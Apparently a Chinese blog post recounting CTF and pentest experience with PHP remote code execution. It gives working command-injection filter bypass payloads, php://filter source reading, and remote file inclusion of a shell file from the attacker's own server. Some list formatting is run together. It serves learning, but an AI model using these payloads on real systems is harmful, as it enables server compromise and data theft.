第一次接触CTF比赛中的Web-RCE漏洞时,我完全被这个看似神奇的攻击方式震撼了。简单来说,RCE(Remote Code Execution)就是让服务器执行我们输入的任意代码。想象一下,这就像你对着餐厅服务员说"把后厨的秘方给我看看",结果服务员真的乖乖照做了。
在实际渗透测试中,我遇到过最典型的RCE漏洞场景是一个在线代码执行平台。这个平台本意是让用户测试PHP代码片段,但开发者忘记做安全过滤,导致我们可以执行系统命令。比如输入system("ls")就能列出服务器上的所有文件,这种赤裸裸的暴露让人哭笑不得。
初学者最容易犯的错误是直接照搬教程里的payload。有次比赛我遇到一个过滤了system函数的题目,当时就卡住了。后来发现其实可以用反引号`ls`或者shell_exec()来替代。这里分享几个常用的PHP执行函数:
php复制system("命令"); // 直接输出结果
exec("命令", $output); // 结果存入数组
passthru("命令"); // 直接输出二进制数据
`命令`; // 反引号等效于shell_exec
去年在某次实战中遇到一个网络诊断页面,ping功能存在命令注入。常规的127.0.0.1;ls被过滤后,我尝试了这些绕过方法:
${IFS}、%09(tab)、<重定向符%0a(换行)、%0d(回车)、&&、||/被过滤时,可以用cd进入目录后直接操作文件bash复制# 用变量拼接
a=c;b=at;c=flag;$a$b $c
# 利用通配符
/bin/c?t flag
# 使用引号干扰
c""at fl""ag
有次遇到过滤了所有字母的极端情况,最后用$(printf "\154\163")这种八进制编码才搞定(ls的ASCII码)。这种经历让我明白,掌握Linux基础命令的编码形式非常必要。
在最近的一次CTF中,我通过php://filter成功读取了源码:
php复制?file=php://filter/convert.base64-encode/resource=index.php
这个payload会把index.php以base64编码形式输出,完美绕过直接显示源码的限制。记得第一次用这个技巧时,我兴奋得差点从椅子上跳起来。
当允许包含远程文件时,我习惯先搭建一个临时HTTP服务:
bash复制python3 -m http.server 8000
然后在目标网站执行:
php复制?file=http://我的IP:8000/shell.txt
shell.txt里放上精心构造的恶意代码。有次比赛因为这个简单的方法直接拿到flag,连我自己都觉得赢得太轻松。
上个月遇到一个丧心病狂的过滤场景:空格、斜杠、cat、flag等关键词全被过滤。经过两小时的鏖战,最终payload长这样:
bash复制?ip=127.0.0.1%0acd${IFS}f***_is_here%0amore${IFS}f***_$(ls).php
这里用到的技巧包括:
%0a作为命令分隔符${IFS}替代空格这种综合绕过的经验告诉我,平时要多积累各种编程语言的特性。比如知道${PATH:0:1}可以代替/的人,往往能在比赛中快人一步。